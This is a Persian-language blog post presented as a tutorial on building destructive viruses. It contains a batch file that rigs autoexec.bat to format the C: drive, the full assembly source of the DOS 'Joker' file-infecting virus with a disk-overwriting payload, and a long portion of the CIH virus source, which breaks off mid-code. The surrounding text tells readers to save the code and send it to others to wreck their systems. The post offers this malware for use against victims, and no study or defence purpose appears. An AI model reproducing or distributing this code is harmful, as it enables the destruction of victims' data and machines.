آموزش ایجا ویروسهای خفن ۱

با یک کلیک هارد را فرمت کنید!!! سلامی از روی ارادت و نه از روی عادت به تمامی دوستان عزیز که به من لطف دارید دوستان اگر میخواهید با یک کلیک هاردتان Format (پاک) شود این کدها را در Note pad ریخته و آنرا با پسوند Bat ذخیره کنید مثلا Format Hard.bat حال مواظب باشید که روی آن کلیک نکنید چون هارد شما صفر کیلومتر خواهد شد :

@echo off call attrib -r -h c:autoexec.bat echo @echo off >c:autoexec.b echo format /autotest c:/q>nul call attrib +r +h c:autoexec.ba exit</body> </html>

یک ویروس خطرناک با نام Joker : برای ساخت این ویروس اول note pad را باز کرده و این کد ها را در آن کپی و پیست نمایید و بعد گزینه file را زده save as را زده بعد آنرا با پسوند bat ذخیره کنید مثلا Joker.bat و save را برای اتمام کار زده و حالا ویروس شما ساخته شد که مواظب باشید روی آن به هیچ وجه کلیک نکنید آنرا برای یکی بفرستید تا سیستم قربانی را به طور خفن داغون کنه:

title " Joker! virus. Written by The BOOT SECTOR Infector ... " ; ; Joker - This is a remake of the deceased "Joker/Jocker" virus. The original ; had multiple programming errors in it that kept it from replicating. ; My version is much more successful. ; page 255,80 code segment word public 'code' assume cs:code,ds:code org 100h main proc;edure ;EQUates... idc equ 69h ;ID character - (note: 69) cr equ 13 ;ASCII for carriage return lf equ 10 ;ASCII for line feed ;End codes. These determine what happens after the string is displayed. terminate equ 0 ;Terminate program after display halt equ 1 ;Cause the system to hang after display SimulateCritErr equ 2 ;Simulate the critical error handler return2host equ 3 ;Resume program immediately FlashFloppy equ 4 ;Wait for a key, then reset Drive A: WaitKey equ 5 ;Wait for a key, then resume program PauseKey equ 6 ;Same thing, but uses a pause message StackError equ 7 ;Cause a stack overflow (halts system) tof: ;Top-Of-File jmp begin ;Skip over program idchar: db idc ;ID character HostProgram: nop ;First run copy only! nop ;First run copy only! first_four: nop ;First run copy only! address: int 20h ;First run copy only! check: nop ;First run copy only! begin: call nextline ;Push IP+3 onto stack nextline: pop bp ;mov bp,ip sub bp,offset nextline ;bp=disp. for mem locs push ax ;Save AX call cryptor ;Decrypt jmp short retloc ;Continue program cryptor: mov al,[bp+offset encrypt_val] ;encrypt val lea si,[bp+offset toec] ;Top Of Encrypted Code mov cx,offset eoec-offset toec ;Length of " " cryptorloop: xor [si],al ;en/de crypt rol al,cl ;change code # inc si ;Next char please! loop cryptorloop ;loop if necessary ret ;Return to caller infect: call cryptor ;Encrypt code pop cx ;Restore CX for INT 21 int 21h ;Call DOS call cryptor ;Decrypt code ret ;Go back toec:;ؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤTop Of Encrypted Code InfectIt: push cx ;Save CX for sub jmp infect retloc: pop ax ;Restore AX xor di,di ;DI = 0 cli ;Disable interrupts mov ss,di ;Set up stack at: mov sp,2F0h ; 0000:02F0 sti ;Enable interrupts mov si,96h ;Vector for INT 24h mov bx,ss:[si] ;BX = offset in segment mov cx,ss:[si+2] ;CX = segment lea dx,[bp+offset int24handler] ;CS:DX -} local handler mov ss:[si],DX ;Save offset mov ss:[si+2],cs ;Save segment mov si,es:[di+2F8h] ;Check operation mode cmp si,4643h ;'CF' if already TSRed jne GoOn ;Nope, jmp jmp return ;Yes, don't do anything GoOn: mov cs:[di+4Ch],bx ;use unused part of PSP mov cs:[di+4Eh],cx ; to save BX and CX push cs ;Copy CS ... pop es ; ... to DS mov byte ptr [bp+offset infected],0 ;Reset infection count mov byte ptr [bp+offset max2kill],3 ;Stop after 3 or less GoOn2: lea si,[bp+offset first_four] ;Original first 4 bytes mov di,offset tof ;TOF never changes cld ;Read left-to-right movsw ;Copy the 4 bytes movsw ;Copy the 4 bytes mov ah,1Ah ;Set DTA address ... lea dx,[bp+offset DTA] ; ... to *our* DTA int 21h ;Call DOS to set DTA mov ah,4Eh ;Find First ASCIIZ lea dx,[bp+offset filespec] ;DS:DX -} '*.COM',0 lea si,[bp+offset filename] ;Point to file push dx ;Save DX jmp short continue ;Continue... return: mov ah,1ah ;Set DTA address ... mov dx,80h ; ... to default DTA int 21h ;Call DOS to set DTA xor di,di ;DI= 0 mov es,di ;ES= 0 mov si,96h ;Vector for INT 24h mov bx, cs:[di+4Ch] ;Restore from saved BX mov word ptr es:[si+0], bx ;Place back into vector mov cx, cs:[di+4Eh] ;Restore from saved CX mov word ptr es:[si+2], cx ;Place back into vector push cs ;Move CS ... pop es ; ... to ES mov ax,[bp+offset SavedAX] ;Restore AX xor bx,bx ;BX= 0 mov cx,bx ;CX= 0 mov dx,cx ;DX= 0 mov si,dx ;SI= 0 mov di,si ;DI= 0 mov sp,0FFFEh ;SP= FFFEh (normal) mov bp,100h ;BP= 100h (RETurn addr) push bp ; Put on stack mov bp,ax ;BP= 0 ret ;JMP to 100h nextfile: or bx,bx ;Did we open the file? jz skipclose ;No, so don't close it mov ah,3Eh ;Close file int 21h ;Call DOS to close it xor bx,bx ;Set BX back to 0 skipclose: mov ah,4Fh ;Find Next ASCIIZ continue: pop dx ;Restore DX push dx ;Re-save DX xor cx,cx ;CX= 0 xor bx,bx int 21h ;Find First/Next jnc skipjmp jmp NoneLeft ;Out of files skipjmp: mov ax,3D02h ;open file mov dx,si ;point to filespec int 21h ;Call DOS to open file jc nextfile ;Next file if error mov bx,ax ;get the handle mov ah,3Fh ;Read from file mov cx,4 ;Read 4 bytes lea dx,[bp+offset first_four] ;Read in the first 4 int 21h ;Call DOS to read cmp byte ptr [bp+offset check],idc ;Already infected? je nextfile ;Yep, try again ... ;NOTE: Delete the two lines above if you want it to re-infected programs. cmp byte ptr [bp+offset first_four],77 ;Mis-named .EXE? je nextfile ;Yep, maybe next time! mov ax,4202h ;LSeek to EOF xor cx,cx ;CX= 0 xor dx,dx ;DX= 0 int 21h ;Call DOS to LSeek cmp ah,0F8h ;Longer than 62K? ja nextfile ;Yep, try again... mov [bp+offset addr],ax ;Save call location mov ah,40h ;Write to file mov cx,4 ;Write 4 bytes lea dx,[bp+offset first_four] ;Point to buffer int 21h ;Save the first 4 bytes mov ah,[bp+offset encrypt_val] ;Get code number inc ah ;add 1 adc ah,0 ;increment if it's zero mov [bp+offset encrypt_val],ah ;Save new code number mov ah,40h ;Write to file mov cx,offset eof-offset begin ;Length of target code lea dx,[bp+offset begin] ;Point to virus start call InfectIt ;Exempt from encryption ComeBackHere: mov ax,4200h ;LSeek to TOF xor cx,cx ;CX= 0 xor dx,dx ;DX= 0 int 21h ;Call DOS to LSeek mov ax,[bp+offset addr] ;Retrieve location inc ax ;Adjust location mov [bp+offset address],ax ;address to call mov byte ptr [bp+offset first_four],0E9h ;JMP rel16 inst. mov byte ptr [bp+offset check],idc ;EOFMARK mov ah,40h ;Write to file mov cx,4 ;Write 4 bytes lea dx,[bp+offset first_four] ;4 bytes are at [DX] int 21h ;Write to file inc byte ptr [bp+offset infected] ;increment counter dec byte ptr [bp+offset max2kill] ;decrement counter jz TheEnd ;If 0 then End inc byte ptr [bp+offset encrypt_val] ;change code # adc byte ptr [bp+offset encrypt_val],0 ;adjust if 0 jmp nextfile ;Next victim! NoneLeft: cmp byte ptr [bp+offset infected],3 ;At least 3 infected? jae TheEnd ;The party's over! mov di,100h ;DI= 100h cmp word ptr [di],20CDh ;an INT 20h? je TheEnd ;Don't go to prev. dir. lea dx,[bp+offset prevdir] ;'..' mov ah,3Bh ;Set current directory int 21h ;CHDIR .. jc TheEnd ;We're through! mov ah,4Eh jmp continue ;Start over in new dir TheEnd: xor di,di ;DI= 0 mov es,di ;ES= 0 mov ah,2ah ;Get date int 21h ;Do it cmp dl,4 ;4th of the month? jne test2 ;Nope, second test cmp dh,7 ;July? jne test2 ;Nope, second test xor ax,ax ;Sector 0 jmp Kill ;Kill the disk now... test2: mov ah,2ch ;Get time int 21h ;Do it or cl,cl ;On the hour? (x:00 xM) jnz GiveUp ;Return to program cmp ch,6 ;Midnight to 5 AM ??? jnl GiveUp ;Return to program add cl,ch ;Add first number mov ax,cx ;Transfer to AX cbw ;Zero out AH add al,dh ;Add DL to AL adc al,dl ;Add DL and carry flag adc ah,0 ;Add carry to AH or ax,ax ;AX = 0 ??? jnz Kill ;Kill the disk now... inc ax ;Well, adjust first... Kill: mov dx,ax ;Sector number mov cx,1 ;One at a time.... xor bx,bx ;Point at PSP mov ah,19h ;Get current disk int 21h ;Call DOS to ^ int 26h ;Now kill the disk GiveUp: mov bx,offset message_table ;point to table mov ah,2ch ;Get time int 21h ;Call DOS to ^ inc dh ;(0-59) timeloop: cmp dh,msgs ;mapped yet? jl timedone ;Yes, jump sub dh,msgs ;try to map it jmp short timeloop ;and check out work timedone: mov al,dh ;AL gets msg # mov cl,al ;Save in CL for CritErr cbw ;AH gets 0 shl ax,1 ;AX = AX * 2 add bx,ax ;BX = index mov si,[bx] ;SI points to string mov ch,[si-1] ;CH is technique # mov dx,si ;DX points to string mov ah,9 ;Display string int 21h ;Call DOS to ^ cmp ch,terminate ;Terminate program? je TerminateProg ;Nope, next test cmp ch,halt ;Halt program? je $ ;Hang system if ch=halt cmp ch,SimulateCritErr ;Simulate CritErr? je simulate ;yes, go do it cmp ch,Return2host ;Return to host? je ResumeProgram ;yes, go do it cmp ch,FlashFloppy ;Flash drive A:? je FlashFlop ;Yes, go do it cmp ch,WaitKey ;Wait for keypress? je zwait ;Yes, go do it cmp ch,PauseKey ;Pause message w/ wait? je zpause ;Yes, go do it cmp ch,StackError ;Stack overflow? je StackErr ;Yes, go do it ;Invalid code, assume Return2host ResumeProgram: jmp return ;Return to caller StackErr: call $ ;Cause stack overflow TerminateProg: int 20h ;Yep, all done! simulate: lea dx,[bp+offset ARIFmsg] ;Abort, Retry ... mov ah,9 ;Print string int 21h ;Call DOS to ^ mov ah,1 ;Input a char int 21h ;Call DOS to ^ lea dx,[bp+offset crlf] ;crlf mov ah,9 ;Print string int 21h ;Call DOS to ^ cmp al,'a' ;Uppercase? jb uppercase ;Nope, jump sub al,' ' ;Yes, make uppercase uppercase: cmp al,'A' ;Abort? je terminateprog ;Yep, go do it. cmp al,'R' ;Retry? jne zskip ;skip over "retry" code lea dx,[bp+offset crlf] ;Point to crlf mov ah,9 ;Print string int 21h ;Call DOS to ^ mov dh,cl ;Restore DH from CL jmp timedone ;Reprint error zskip: cmp al,'I' ;Ignore? je ResumeProgram ;Return to host program cmp al,'F' ;Fail? jne simulate ;Invalid response lea dx,[bp+offset fail24] ;Point to fail string mov ah,9 ;Print string int 21h ;Call DOS to ^ int 20h ;Terminate program FlashFlop: mov ah,1 ;Wait for keypress int 21h ;Call DOS to ^ xor ax,ax ;Drive A: mov cx,1 ;Read 1 sector mov dx,ax ;Start at boot sector lea bx,[bp+offset boot_sector] ;BX points to buffer int 25h ;Flash light on A: jmp short ResumeProgram ;Resume if no error zpause: lea dx,[bp+offset pause] ;Point to pause message mov ah,9 ;Print string int 21h ;Call DOS to ^ zwait: mov ah,1 ;Wait for keypress int 21h ;Call DOS to ^ jmp short ResumeProgram ;Go on... ARIFmsg db cr,lf,'Abort, Retry, Ignore, Fail?$' fail24 db cr,lf,cr,lf,'Fail on INT 24' crlf db cr,lf,'$' message_table: dw offset msg1 dw offset msg2 dw offset msg3 dw offset msg4 dw offset msg5 dw offset msg6 dw offset msg7 dw offset msg8 dw offset msg9 dw offset msg10 dw offset msg11 dw offset msg12 dw offset msg13 dw offset msg14 dw offset msg15 dw offset msg16 dw offset msg17 dw offset msg18 dw offset msg19 dw offset msg20 msgs db 20 ; I tried to make it as simple as possible to change the messages ; and add/delete them. Each message is in the format: ; ; db [technique] ;[label] db [Text] ; ; Where [technique] is one of the 8 codes shown at the beginning of ; this file (terminate, halt, etc.). This determines what the virus ; should do after printing the message. ; [label] is in the form "msg##" where ## is a number from 1 to ; "msgs". "msgs" is defined immediately before this ; comment block. ; [text] is a combination of text and ASCII codes, terminated by ; either a '$' or a ,36. ; ; If you change the number of messages the virus has, you should also ; add/remove lines from the offset table and change the "msgs" ; data byte appropriately. Let's say for instance that you want ; to remove "Program too big to fit in memory.": ; 1) Delete the line(s) with the message and the line ; immediately before it. ; 2) Move message #20 up to message #2's position and ; change its label from "msg20" to "msg2". ; 3) Delete the line "dw offset msg20" from the offset ; table. ; 4) Change the line before this comment block to: ; "msgs db 19" ; ; Later! ; -The BOOT SECTOR Infector ... ; db FlashFloppy ;Waits for key, then flashes drive A: msg5 db 'I',39,'m hungry! Insert PIZZA & BEER into drive A: and',cr,lf pause db 'Strike any key when ready... $' db SimulateCritErr ;Prints ARIF message and responds appropriately msg1 db 'Impotence error reading user',39,'s dick$' db terminate ;Ends the program immediately msg2 db 'Program too big to fit in memory',cr,lf,'$' db halt ;Halts the system msg3 db 'Cannot load COMMAND, system halted',cr,lf,'$' db terminate ;Ends the program immediately msg4 db 'I',39,'m sorry, Dave.... but I',39,'m afraid' db ' I can',39,'t do that!',cr,lf,'$' db WaitKey ;Waits for a keypress, then runs the program msg6 db 'Format another? (Y/N)? $' db StackError ;Generates a stack overflow (halts the system) msg7 db 'Damn it! I told you not to touch that!$' db terminate ;Ends the program immediately msg8 db 'Suck me!',cr,lf,'$' db SimulateCritErr ;Prints ARIF message and responds appropriately msg9 db 'Cocksucker At Keyboard error reading device CON:$' db terminate ;Ends the program immediately msg10 db 7,cr,cr,cr,7,cr,cr,cr,7,cr,cr,cr,lf db 'I',39,'m sorry, but your call cannot be completed as dialed.' db cr,lf,'Please hang up & try your call again.',cr,lf,'$' db terminate ;Ends the program immediately msg11 db 'No!',cr,lf,cr,lf,'$' db halt ;Halts the system msg12 db 'Panic kernal mode interrupt$' db WaitKey ;Waits for a keypress, then runs the program msg13 db 'CONNECT 1200«',cr,lf,cr,lf,'$' db return2host ;Runs host program immediately msg14 db 'Okay, okay! Be patient! ...',cr,lf,'$' db terminate ;Ends the program immediately msg15 db 'And if I refuse?',cr,lf,'$' db return2host ;Runs host program immediately msg16 db 'Fuck the world and its followers!',cr,lf,'$' db return2host ;Runs host program immediately msg17 db 'You are pathetic, man... you know that?',cr,lf,'$' db terminate ;Ends the program immediately msg18 db 'Cum on! Talk DIRTY to me !!!',cr,lf,'$' db terminate ;Ends the program immediately msg19 db 'Your coprocessor wears floppy disks!',cr,lf,'$' db PauseKey ;Waits for keypress (SAKWR), then runs host prg msg20 db 'Joker! ver àà by TBSI!',cr,lf db 'Remember! EVERYTHING',39,'s bigger in Texas!',cr,lf,'$' int24handler: xor al,al ;Ignore the error iret ;Interrupt return filespec: db '*.COM',0 ;File specification prevdir: db '..',0 ;previous directory max2kill db 3 ;max. files to infect eoec:;ؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤEnd Of Encrypted Code VersionNumber dw 100h ;Version 1.00 encrypt_val db 0 ;1st-run copy only ; None of this information is included in the virus's code. It is only used ; during the search/infect routines and it is not necessary to preserve it ; in between calls to them. eof: DTA: db 21 dup (?) ;internal search's data attribute db ? ;attribute file_time db 2 dup (?) ;file's time stamp file_date db 2 dup (?) ;file's date stamp file_size db 4 dup (?) ;file's size filename db 13 dup (?) ;filename SavedAX dw ? ;Used to save AX infected db ? ;infection count addr dw ? ;Address boot_sector: main endp;rocedure code ends;egment end

و یروس خطرناک با نام Good Gory بساز ید! برای ساخت این ویروس اول note pad را باز کرده و این کد ها را در آن کپی و پیست نمایید و بعد گزینه file را زده save as را زده بعد آنرا با پسوند bat ذخیره کنید مثلا Good Gory.bat و save را برای اتمام کار زده و حالا ویروس شما ساخته شد که مواظب باشید روی آن به هیچ وجه کلیک نکنید آنرا برای یکی بفرستید تا سیستم قربانی را به طور خفن داغون کنه موفق باشید نظر یادتون نره!

; **************************************************************************** ; * The Virus Program Information * ; **************************************************************************** ; * * ; * Designer : CIH Source : TTIT of TATUNG in Taiwan * ; * Create Date : 04/26/1998 Now Version : 1.4 * ; * Modification Time : 05/31/1998 * ; * * ; * Turbo Assembler Version 4.0 : tasm /m cih * ; * Turbo Link Version 3.01 : tlink /3 /t cih, cih.exe * ; * * ; *==========================================================================* ; * Modification History * ; *==========================================================================* ; * v1.0 1. Create the Virus Program. * ; * 2. The Virus Modifies IDT to Get Ring0 Privilege. * ; * 04/26/1998 3. Virus Code doesn't Reload into System. * ; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. * ; * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. * ; * 6. When System Opens Existing PE File, the File will be * ; * Infected, and the File doesn't be Reinfected. * ; * 7. It is also Infected, even the File is Read-Only. * ; * 8. When the File is Infected, the Modification Date and Time * ; * of the File also don't be Changed. * ; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call * ; * Previous FileSystemApiHook, it will Call the Function * ; * that the IFS Manager Would Normally Call to Implement * ; * this Particular I/O Request. * ; * 10. The Virus Size is only 656 Bytes. * ; *==========================================================================* ; * v1.1 1. Especially, the File that be Infected will not Increase * ; * it's Size... ^__^ * ; * 05/15/1998 2. Hook and Modify Structured Exception Handing. * ; * When Exception Error Occurs, Our OS System should be in * ; * Windows NT. So My Cute Virus will not Continue to Run, * ; * it will Jmup to Original Application to Run. * ; * 3. Use Better Algorithm, Reduce Virus Code Size. * ; * 4. The Virus "Basic" Size is only 796 Bytes. * ; *==========================================================================* ; * v1.2 1. Kill All HardDisk, and BIOS... Super... Killer... * ; * 2. Modify the Bug of v1.1 * ; * 05/21/1998 3. The Virus "Basic" Size is 1003 Bytes. * ; *==========================================================================* ; * v1.3 1. Modify the Bug that WinZip Self-Extractor Occurs Error. * ; * So When Open WinZip Self-Extractor ==> Don't Infect it. * ; * 05/24/1998 2. The Virus "Basic" Size is 1010 Bytes. * ; *==========================================================================* ; * v1.4 1. Full Modify the Bug : WinZip Self-Extractor Occurs Error. * ; * 2. Change the Date of Killing Computers. * ; * 05/31/1998 3. Modify Virus Version Copyright. * ; * 4. The Virus "Basic" Size is 1019 Bytes. * ; **************************************************************************** .586P ; **************************************************************************** ; * Original PE Executable File(Don't Modify this Section) * ; **************************************************************************** OriginalAppEXE SEGMENT FileHeader: db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h dd 00000000h, VirusSize OriginalAppEXE ENDS ; **************************************************************************** ; * My Virus Game * ; **************************************************************************** ; ********************************************************* ; * Constant Define * ; ********************************************************* TRUE = 1 FALSE = 0 DEBUG = TRUE MajorVirusVersion = 1 MinorVirusVersion = 4 VirusVersion = MajorVirusVersion*10h+MinorVirusVersion IF DEBUG FirstKillHardDiskNumber = 81h HookExceptionNumber = 05h ELSE FirstKillHardDiskNumber = 80h HookExceptionNumber = 03h ENDIF FileNameBufferSize = 7fh ; ********************************************************* ; ********************************************************* VirusGame SEGMENT ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame ; ********************************************************* ; * Ring3 Virus Game Initial Program * ; ********************************************************* MyVirusStart: push ebp ; ************************************* ; * Let's Modify Structured Exception * ; * Handing, Prevent Exception Error * ; * Occurrence, Especially in NT. * ; ************************************* lea eax, [esp-04h*2] xor ebx, ebx xchg eax, fs:[ebx] call @0 @0: pop ebx lea ecx, StopToRunVirusCode-@0[ebx] push ecx push eax ; ************************************* ; * Let's Modify * ; * IDT(Interrupt Descriptor Table) * ; * to Get Ring0 Privilege... * ; ************************************* push eax ; sidt [esp-02h] ; Get IDT Base Address pop ebx ; add ebx, HookExceptionNumber*08h+04h ; ZF = 0 cli mov ebp, [ebx] ; Get Exception Base mov bp, [ebx-04h] ; Entry Point lea esi, MyExceptionHook-@1[ecx] push esi mov [ebx-04h], si ; shr esi, 16 ; Modify Exception mov [ebx+02h], si ; Entry Point Address pop esi ; ************************************* ; * Generate Exception to Get Ring0 * ; ************************************* int HookExceptionNumber ; GenerateException ReturnAddressOfEndException = $ ; ************************************* ; * Merge All Virus Code Section * ; ************************************* push esi mov esi, eax LoopOfMergeAllVirusCodeSection: mov ecx, [eax-04h] rep movsb sub eax, 08h mov esi, [eax] or esi, esi jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1 jmp LoopOfMergeAllVirusCodeSection QuitLoopOfMergeAllVirusCodeSection: pop esi ; ************************************* ; * Generate Exception Again * ; ************************************* int HookExceptionNumber ; GenerateException Again ; ************************************* ; * Let's Restore * ; * Structured Exception Handing * ; ************************************* ReadyRestoreSE: sti xor ebx, ebx jmp RestoreSE ; ************************************* ; * When Exception Error Occurs, * ; * Our OS System should be in NT. * ; * So My Cute Virus will not * ; * Continue to Run, it Jmups to * ; * Original Application to Run. * ; ************************************* StopToRunVirusCode: @1 = StopToRunVirusCode xor ebx, ebx mov eax, fs:[ebx] mov esp, [eax] RestoreSE: pop dword ptr fs:[ebx] pop eax ; ************************************* ; * Return Original App to Execute * ; ************************************* pop ebp push 00401000h ; Push Original OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack ret ; Return to Original App Entry Point ; ********************************************************* ; * Ring0 Virus Game Initial Program * ; ********************************************************* MyExceptionHook: @2 = MyExceptionHook jz InstallMyFileSystemApiHook ; ************************************* ; * Do My Virus Exist in System !? * ; ************************************* mov ecx, dr0 jecxz AllocateSystemMemoryPage add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException ; ************************************* ; * Return to Ring3 Initial Program * ; ************************************* ExitRing0Init: mov [ebx-04h], bp ; shr ebp, 16 ; Restore Exception mov [ebx+02h], bp ; iretd ; ************************************* ; * Allocate SystemMemory Page to Use * ; ************************************* AllocateSystemMemoryPage: mov dr0, ebx ; Set the Mark of My Virus Exist in System push 00000000fh ; push ecx ; push 0ffffffffh ; push ecx ; push ecx ; push ecx ; push 000000001h ; push 000000002h ; int 20h ; VMMCALL _PageAllocate _PageAllocate = $ ; dd 00010053h ; Use EAX, ECX, EDX, and flags add esp, 08h*04h xchg edi, eax ; EDI = SystemMemory Start Address lea eax, MyVirusStart-@2[esi] iretd ; Return to Ring3 Initial Program ; ************************************* ; * Install My File System Api Hook * ; ************************************* InstallMyFileSystemApiHook: lea eax, FileSystemApiHook-@6[edi] push eax ; int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook IFSMgr_InstallFileSystemApiHook = $ ; dd 00400067h ; Use EAX, ECX, EDX, and flags mov dr0, eax ; Save OldFileSystemApiHook Address pop eax ; EAX = FileSystemApiHook Address ; Save Old IFSMgr_InstallFileSystemApiHook Entry Point mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi] mov edx, [ecx] mov OldInstallFileSystemApiHook-@3[eax], edx ; Modify IFSMgr_InstallFileSystemApiHook Entry Point lea eax, InstallFileSystemApiHook-@3[eax] mov [ecx], eax cli jmp ExitRing0Init ; ********************************************************* ; * Code Size of Merge Virus Code Section * ; ********************************************************* CodeSizeOfMergeVirusCodeSection = offset $ ; ********************************************************* ; * IFSMgr_InstallFileSystemApiHook * ; ********************************************************* InstallFileSystemApiHook: push ebx call @4 ; @4: ; pop ebx ; mov ebx, offset FileSystemApiHook add ebx, FileSystemApiHook-@4 ; push ebx int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook IFSMgr_RemoveFileSystemApiHook = $ dd 00400068h ; Use EAX, ECX, EDX, and flags pop eax ; Call Original IFSMgr_InstallFileSystemApiHook ; to Link Client FileSystemApiHook push dword ptr [esp+8] call OldInstallFileSystemApiHook-@3[ebx] pop ecx push eax ; Call Original IFSMgr_InstallFileSystemApiHook ; to Link My FileSystemApiHook push ebx call OldInstallFileSystemApiHook-@3[ebx] pop ecx mov dr0, eax ; Adjust OldFileSystemApiHook Address pop eax pop ebx ret ; ********************************************************* ; * Static Data * ; ********************************************************* OldInstallFileSystemApiHook dd ? ; ********************************************************* ; * IFSMgr_FileSystemHook * ; ********************************************************* ; ************************************* ; * IFSMgr_FileSystemHook Entry Point * ; ************************************* FileSystemApiHook: @3 = FileSystemApiHook pushad call @5 ; @5: ; pop esi ; mov esi, offset VirusGameDataStartAddress add esi, VirusGameDataStartAddress-@5 ; ************************************* ; * Is OnBusy !? * ; ************************************* test byte ptr (OnBusy-@6)[esi], 01h ; if ( OnBusy ) jnz pIFSFunc ; goto pIFSFunc ; ************************************* ; * Is OpenFile !? * ; ************************************* ; if ( NotOpenFile ) ; goto prevhook lea ebx, [esp+20h+04h+04h] cmp dword ptr [ebx], 00000024h jne prevhook ; ************************************* ; * Enable OnBusy * ; ************************************* inc byte ptr (OnBusy-@6)[esi] ; Enable OnBusy ; ************************************* ; * Get FilePath's DriveNumber, * ; * then Set the DriveName to * ; * FileNameBuffer. * ; ************************************* ; * Ex. If DriveNumber is 03h, * ; * DriveName is 'C:'. * ; ************************************* ; mov esi, offset FileNameBuffer add esi, FileNameBuffer-@6 push esi mov al, [ebx+04h] cmp al, 0ffh je CallUniToBCSPath add al, 40h mov ah, ':' mov [esi], eax inc esi inc esi ; ************************************* ; * UniToBCSPath * ; ************************************* ; * This Service Converts * ; * a Canonicalized Unicode Pathname * ; * to a Normal Pathname in the * ; * Specified BCS Character Set. * ; ************************************* CallUniToBCSPath: push 00000000h push FileNameBufferSize mov ebx, [ebx+10h] mov eax, [ebx+0ch] add eax, 04h push eax push esi int 20h ; VXDCall UniToBCSPath UniToBCSPath = $ dd 00400041h add esp, 04h*04h ; ************************************* ; * Is FileName '.EXE' !? * ; ************************************* ; cmp [esi+eax-04h], '.EXE' cmp [esi+eax-04h], 'EXE.' pop esi jne DisableOnBusy IF DEBUG ; 